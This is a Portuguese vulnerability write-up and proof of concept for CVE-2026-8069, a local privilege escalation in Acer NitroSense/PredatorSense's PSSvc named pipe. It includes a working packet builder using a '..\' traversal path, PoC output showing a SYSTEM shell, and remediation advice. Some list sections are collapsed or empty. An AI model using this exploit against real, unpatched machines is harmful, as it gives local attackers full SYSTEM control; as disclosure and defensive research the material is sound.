
Write-up técnico e prova de conceito para CVE-2026-8069, uma escalada local de privilégios nos serviços Acer NitroSense e PredatorSense, explorando um named pipe para executar código arbitrário como SYSTEM.
O Acer NitroSense e o PredatorSense 3.x instalaram um serviço Windows chamado PSSvc que expunha um protocolo de named pipe personalizado a utilizadores locais. Um comando do protocolo aceitava um caminho de executável controlado pelo chamador, duplicava o token de winlogon.exe e iniciava esse executável como NT AUTHORITY\SYSTEM.
A restrição de caminho no serviço vulnerável era um teste de substring. Um caminho que começava dentro do diretório do serviço e depois usava componentes ..\ passava no teste, mas resolvia para outro local. Combinado com o controlo de acesso permissivo do pipe e a ausência de autorização do chamador, isto permitia que um utilizador local padrão obtivesse um processo SYSTEM.
A Acer atribuiu CVE-2026-8069, publicou correções e creditou Artem Domarev da Universidade de Hradec Králové no seu aviso de segurança.
Este artigo foca-se no caminho de criação de processo/LPE. O aviso da Acer também descreve a eliminação arbitrária de ficheiros, que estava fora do âmbito desta validação.
A escolha da direção de investigação também foi influenciada por uma análise pública de software OEM publicada por Leon Jacobs da SensePost. Esse trabalho documentou vulnerabilidades no ASUS DriverHub, MSI Center, Acer Control Centre e Razer Synapse 4 (Jacobs, 2025). Reforçou a ideia de que utilitários de hardware fornecidos pelos fornecedores podem expor uma superfície de ataque significativa e pouco explorada. Em vez de revisitar o Acer Control Centre, estendi a investigação a uma família de produtos diferente da Acer: NitroSense e PredatorSense.
A cadeia de exploração é curta:
utilizador local autenticado
│
▼
named pipe permissivo do PSSvc
│ comando personalizado 0x0007
▼
verificação de caminho apenas por substring
│ service-dir\..\..\..\Windows\System32\cmd.exe
▼
duplicar token do winlogon.exe da sessão ativa
│
▼
CreateProcessAsUserW → NT AUTHORITY\SYSTEM
Existe uma inconsistência na redação pública. A página da Acer afirma que as versões do NitroSense "anteriores a 3.01.3052" são afetadas, mas o PSSvc.exe versão 3.1.3052.0 assinado pelo fornecedor e testado para este artigo é demonstravelmente vulnerável. A mesma página identifica o NitroSense 3.01.3056 como a versão corrigida. O intervalo de aplicabilidade da NVD também se estende até, mas não incluindo, 3.01.3056.
Para o PredatorSense, a frase de versões afetadas da Acer termina antes de 3.00.3196, enquanto a versão corrigida listada é 3.00.3198 e a NVD usa esta última como limite superior.
A regra operacional conservadora é, portanto, simples: não use a frase ambígua "afetado" como verificação de patch. Atualize para pelo menos as versões corrigidas que a Acer nomeia — PredatorSense 3.00.3198 ou NitroSense 3.01.3056 — ou um pacote mais recente compatível com o modelo.
O problema foi reproduzido com o pacote original do NitroSense.
A assinatura Authenticode do PSSvc.exe foi validada com sucesso e encadeada até à Acer Incorporated. O MSI instalou o PSSvc como um serviço de processo próprio com início sob demanda, a executar como LocalSystem.
O pacote NitroSense instala:
SERVICE_NAME: PSSvc
DISPLAY_NAME: Predator Service
TYPE: WIN32_OWN_PROCESS
START_TYPE: DEMAND_START
ACCOUNT: LocalSystem
Um serviço SYSTEM não é automaticamente vulnerável. A questão importante é se um processo com privilégios inferiores consegue alcançar funcionalidade que foi concebida sob o pressuposto de que o seu chamador é confiável.
A análise de strings expôs imediatamente o endpoint IPC:
\\.\pipe\predatorsense_service_namedpipe
Em 0x140014AD0, o serviço constrói o pipe e passa um descritor de segurança explícito a CreateNamedPipeW:
D:(A;OICI;GA;;;BG)(D;OICI;GA;;;AN)(A;OICI;GRGWGX;;;AU)(A;OICI;GA;;;BA)
Isto merece uma correção explícita: a versão vulnerável não passa um descritor NULL. Ela cria uma DACL permissiva.
A ACE AU é suficiente para que um utilizador autenticado normal abra o pipe para leitura e escrita. O servidor não faz depois impersonação do cliente nem toma uma decisão de autorização antes de despachar comandos privilegiados.
O thread cliente em 0x14000ABB0 lê mensagens para um buffer de 512 bytes. Ele analisa os primeiros três bytes como um número de comando de 16 bits e uma contagem de argumentos de 8 bits. Cada argumento tem prefixo de comprimento:
Offset Tamanho Significado
0x00 2 ID do comando, little-endian
0x02 1 número de argumentos
0x03 4 comprimento do argumento 0
0x07 n bytes do argumento 0
... DWORD de comprimento repetido + valor
Os argumentos de string são UTF-16LE. Os argumentos inteiros são DWORDs little-endian. O dispatcher aceita IDs de comando abaixo de 0x23 e usa-os como índices numa tabela de funções com 35 entradas em 0x140052C90.
A entrada para o comando 0x0007 aponta para 0x14000BFD0.
Reduzido ao seu comportamento relevante para a segurança, o handler tem esta aparência:
int command_07(parsed_arguments *args)
{
wchar_t service_directory[MAX_PATH];
wchar_t *requested_path = args->wide_string[0];
uint32_t mode = args->dword[1];
GetModuleFileNameW(NULL, service_directory, MAX_PATH);
PathRemoveFileSpecW(service_directory);
if (wcsstr(requested_path, service_directory) != NULL)
return launch_with_selected_token(requested_path, mode);
return 0;
}
wcsstr responde apenas se uma string ocorre dentro de outra. Não canonicaliza um caminho, não resolve segmentos de ponto, não abre um ficheiro, nem prova que o objeto final permanece sob um diretório confiável.
Assuma que o serviço está instalado em:
C:\Program Files\Acer\NitroSense_Service
O seguinte caminho contém esse diretório no offset zero, portanto wcsstr tem sucesso:
C:\Program Files\Acer\NitroSense_Service\..\..\..\WINDOWS\System32\cmd.exe
O Windows resolve os segmentos de ponto para:
C:\WINDOWS\System32\cmd.exe
Isto é um erro clássico de canonicalização: a validação é realizada numa representação textual, enquanto a operação sensível consome o seu significado normalizado.
O helper de lançamento de processo em 0x1400091F0 tem um ramo especial quando o segundo argumento é 0x72 (decimal 114). Ele:
CreateToolhelp32Snapshot;winlogon.exe na sessão ativa;winsta0\default.Os pontos de chamada críticos no binário testado foram:
Isto significa que o comando 0x0007 não está meramente a pedir a um serviço que inicie uma das suas próprias ferramentas confiáveis. Expõe um lançador de processos com token SYSTEM geral a um pipe a que utilizadores comuns podem aceder.
O construtor de pacotes essencial é pequeno:
import struct
def build_packet(command_id, *arguments):
packet = struct.pack("<HB", command_id, len(arguments))
for argument in arguments:
if isinstance(argument, str):
argument = argument.encode("utf-16-le")
elif isinstance(argument, int):
argument = struct.pack("<I", argument)
packet += struct.pack("<I", len(argument)) + argument
return packet
service_dir = r"C:\Program Files\Acer\NitroSense_Service"
target = service_dir + r"\..\..\..\WINDOWS\System32\cmd.exe"
# O handler espera o caminho, o modo de token e oito ranhuras adicionais.
packet = build_packet(0x0007, target, 0x72, *([b"\x00" * 4] * 8))
O script de validação completo abre o pipe com CreateFileW, define o modo de mensagem, envia este pacote e descodifica a resposta do serviço. Descobre o caminho do serviço instalado em vez de o codificar e verifica o alvo normalizado antes de enviar qualquer coisa.
O script completo usado para este artigo está disponível como acer_cve_2026_8069_poc.py.
O Setup.exe do fornecedor realiza verificações de hardware e fornece propriedades MSI privadas. Extraí o NitroSense.msi e recuperei essas propriedades do bootstrapper .NET:
$arguments = @(
'/i', 'C:\Lab\NitroSense.msi',
'BOOTSTRATOR=1', 'ISDT=0', 'RGBKB=0', 'ICPU=0',
'BRAND=0', 'ACER=1', 'BRANDNAME=Acer',
'GPRODUCTNAME=NitroSense_Service',
'/qn', '/norestart',
'/l*v', 'C:\Lab\install.log'
)
Start-Process msiexec.exe -ArgumentList $arguments -Wait
Estas propriedades reproduzem o caminho de instalação do bootstrapper em hardware que não passa nas suas verificações de ambiente.
Após a instalação, verifiquei a versão do ficheiro, o SHA-256 e a assinatura, e depois iniciei o serviço de início sob demanda:
sc.exe qc PSSvc
sc.exe start PSSvc
O pedido foi enviado a partir de uma conta local padrão, não administrativa, a executar em integridade média.
A partir dessa conta:
py .\acer_cve_2026_8069_poc.py --exec-test --target cmd.exe
O serviço devolveu:
[PASS] Connected
[INFO] Sending CMD 0x0007: path='cmd.exe', mode=0x72
Packet size: 227 bytes
Raw response: 010400000001000000
Return code: 1
[CRITICAL] PROCESS CREATED SUCCESSFULLY
A mensagem de sucesso do PoC não é a prova por si só. Consultei o processo resultante de forma independente a partir de um canal de evidência administrativo:
Parent : PSSvc.exe
Session : Interactive
Owner : NT AUTHORITY\SYSTEM
CommandLine : "C:\Program Files\Acer\NitroSense_Service\..\..\..\WINDOWS\System32\cmd.exe"
A shell SYSTEM era um filho direto de PSSvc.exe na sessão interativa, com o caminho de travessia preservado na sua linha de comandos.
Também rastreei as APIs do serviço durante o pedido bem-sucedido. O rastreio registou a sessão ativa 1, um WTSQueryUserToken bem-sucedido, um instantâneo de processos, um OpenProcess para o winlogon.exe da sessão, DuplicateTokenEx bem-sucedido, modificação do token de integridade e um retorno de sucesso do helper de lançamento de processo.


Não foi uma única comparação isolada defeituosa. A exploração exigiu que várias falhas de confiança se alinhassem:
wcsstr em vez de validação canónica de caminho.winlogon.exe.Remover qualquer um dos últimos quatro elos teria impedido este caminho de LPE. A defesa em profundidade deve removê-los todos.
A remediação suportada pela Acer é atualizar para PredatorSense 3.00.3198, NitroSense 3.01.3056 ou posterior. Use o pacote que a Acer oferece para o número de série ou SNID da máquina, conforme descrito no aviso do fornecedor.
Para programadores de serviços Windows privilegiados, as lições mais amplas são:
| Data | Evento |
|---|---|
| 2026-02-19 | Relatório de vulnerabilidade preparado e submetido à Acer. |
| 2026-05-08 | CVE-2026-8069 publicado no ecossistema CVE/NVD. |
| 2026 | A Acer publicou o seu aviso, creditou o investigador e nomeou as versões corrigidas do PredatorSense e NitroSense. |
| 2026-08-28 | Reprodução independente concluída para este artigo. |
Os named pipes locais são fáceis de confundir com limites de confiança. São apenas mecanismos de transporte. Quando um serviço SYSTEM expõe um dispatcher de comandos, a ACL do seu pipe, a autorização do chamador, a validação de argumentos e a implementação privilegiada tornam-se todas parte do limite de segurança.
Aqui, um pipe permissivo alcançou uma rotina de duplicação de tokens, e uma verificação de substring tentou substituir a contenção de caminho. O resultado foi uma transição fiável de um utilizador local padrão para NT AUTHORITY\SYSTEM.
O artigo e os meios de investigação originais estão licenciados sob Creative Commons Attribution 4.0 International. O código-fonte do PoC está licenciado sob a Licença MIT. Consulte LICENSE.md para o âmbito e exclusões de terceiros.
| Item | Resultado |
|---|
| CVE | CVE-2026-8069 |
| Componente vulnerável testado | PSSvc.exe 3.1.3052.0, assinado pela Acer Incorporated |
| Identidade do serviço | LocalSystem |
| Endpoint IPC | \\.\pipe\predatorsense_service_namedpipe |
| Comando vulnerável | 0x0007 |
| Acesso necessário do atacante | Utilizador local autenticado capaz de executar um programa |
| Interação do utilizador | Nenhuma |
| Resultado | Executável arbitrário iniciado como NT AUTHORITY\SYSTEM |
| CVSS v3.1 da NVD | 7.8 Alta — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Versões corrigidas | PredatorSense 3.00.3198; NitroSense 3.01.3056 |
| Artefacto | SHA-256 |
|---|
NitroSense_V3.01.3052_MSFT_SIGNED_20230420.zip | 947FB7C62665875450AFA9C9E7919D2B061ED8197C11B28D64781F121B30C157 |
NitroSense.msi | 6F9D405B6D2ADF2992C4E071453AD2C919A6DD38A89A31EF96EAFE81C50A745C |
PSSvc.exe 3.1.3052.0 instalado | 3BA836B6A5D95B55708E771B74F49098F58B096EF1F63C5CCAE355811E193A40 |
| PoC usado para validação | 31BC81140BAB64A8B0CB70ACC1C2CF3CA84A7B00015E5610AC075DC50DCB0163 |
| Abreviatura SID | Principal | Permissão efetiva no SDDL |
|---|
BG | Convidados incorporados | Generic All |
AN | Anónimo | Generic All negado |
AU | Utilizadores autenticados | Generic Read, Write e Execute |
BA | Administradores incorporados | Generic All |
| Operação | Endereço |
|---|
CreateToolhelp32Snapshot | 0x140009298 |
OpenProcessToken | 0x140009346 |
DuplicateTokenEx | 0x1400093B0 |
CreateProcessAsUserW | 0x1400094BF / 0x1400094C7 |